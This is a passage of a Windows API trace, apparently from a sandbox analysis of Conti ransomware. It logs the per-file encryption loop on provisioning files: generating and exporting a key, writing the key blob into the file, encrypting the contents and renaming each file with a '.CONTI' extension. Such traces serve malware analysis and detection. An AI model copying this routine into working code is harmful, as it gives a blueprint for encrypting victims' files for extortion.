	[0107.928] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.929] GetProcessHeap () returned 0x1720000
	[0107.929] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.929] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0107.929] GetProcessHeap () returned 0x1720000
	[0107.929] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d880 | out: hHeap=0x1720000) returned 1
	[0107.929] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.929] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c81b0) returned 1
	[0107.929] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x59bf7d4 | out: pbData=0x17d443c*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.930] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.930] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc
	[0107.930] GetLastError () returned 0x0
	[0107.930] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=703) returned 1
	[0107.930] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bf
	[0107.930] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.930] SetEndOfFile (hFile=0x3bc) returned 1
	[0107.931] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.931] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.931] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d443c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17d443c*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.932] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.932] ReadFile (in: hFile=0x3bc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2bf, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2bf, lpOverlapped=0x0) returned 1
	[0107.933] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2bf, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2c0) returned 1
	[0107.933] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.933] WriteFile (in: hFile=0x3bc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2c0, lpOverlapped=0x0) returned 1
	[0107.933] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.933] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d4430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17d4430*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.933] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.933] CloseHandle (hObject=0x3bc) returned 1
	[0107.933] GetProcessHeap () returned 0x1720000
	[0107.933] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.933] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml"
	[0107.933] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.933] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.934] GetProcessHeap () returned 0x1720000
	[0107.934] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.934] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0107.934] GetProcessHeap () returned 0x1720000
	[0107.934] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589c88 | out: hHeap=0x1720000) returned 1
	[0107.934] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.934] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d4680 | out: phKey=0x17d4680*=0x17c81b0) returned 1
	[0107.934] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4684, pdwDataLen=0x59bf7d4 | out: pbData=0x17d4684*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.935] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.935] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc
	[0107.935] GetLastError () returned 0x0
	[0107.936] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=654) returned 1
	[0107.936] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28e
	[0107.936] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.936] SetEndOfFile (hFile=0x3bc) returned 1
	[0107.936] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.936] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.936] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d4684*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17d4684*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.938] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.938] ReadFile (in: hFile=0x3bc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x28e, lpOverlapped=0x0) returned 1
	[0107.938] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x28e, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x290) returned 1
	[0107.938] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.938] WriteFile (in: hFile=0x3bc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x290, lpOverlapped=0x0) returned 1
	[0107.938] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.938] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d4678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17d4678*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.938] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.938] CloseHandle (hObject=0x3bc) returned 1
	[0107.938] GetProcessHeap () returned 0x1720000
	[0107.938] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.938] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml"
	[0107.938] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.938] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.939] GetProcessHeap () returned 0x1720000
	[0107.939] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.939] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0107.939] GetProcessHeap () returned 0x1720000
	[0107.939] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6587f10 | out: hHeap=0x1720000) returned 1
	[0107.939] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.939] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d48c8 | out: phKey=0x17d48c8*=0x17c8330) returned 1
	[0107.939] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d48cc, pdwDataLen=0x59bf7d4 | out: pbData=0x17d48cc*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.940] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.940] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc
	[0107.940] GetLastError () returned 0x0
	[0107.940] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=729) returned 1
	[0107.940] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d9
	[0107.940] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.941] SetEndOfFile (hFile=0x3bc) returned 1
	[0107.941] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.941] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.941] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d48cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17d48cc*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.943] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.943] ReadFile (in: hFile=0x3bc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2d9, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2d9, lpOverlapped=0x0) returned 1
	[0107.943] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d9, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2e0) returned 1
	[0107.943] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.943] WriteFile (in: hFile=0x3bc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.943] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.943] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d48c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17d48c0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.943] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.943] CloseHandle (hObject=0x3bc) returned 1
	[0107.943] GetProcessHeap () returned 0x1720000
	[0107.943] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6557068
	[0107.943] lstrcpyW (in: lpString1=0x6557068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml"
	[0107.943] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.943] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.944] GetProcessHeap () returned 0x1720000
	[0107.944] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6557068 | out: hHeap=0x1720000) returned 1
	[0107.944] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.944] GetProcessHeap () returned 0x1720000
	[0107.944] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d9d8 | out: hHeap=0x1720000) returned 1
	[0107.944] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.944] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x17c81b0) returned 1
	[0107.944] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x59bf7d4 | out: pbData=0x17c47e4*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.945] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.945] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc
	[0107.945] GetLastError () returned 0x0
	[0107.945] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=651) returned 1
	[0107.945] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28b
	[0107.945] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.945] SetEndOfFile (hFile=0x3bc) returned 1
	[0107.946] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.946] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.946] WriteFile (in: hFile=0x3bc, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.338] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.338] ReadFile (in: hFile=0x3bc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x28b, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x28b, lpOverlapped=0x0) returned 1
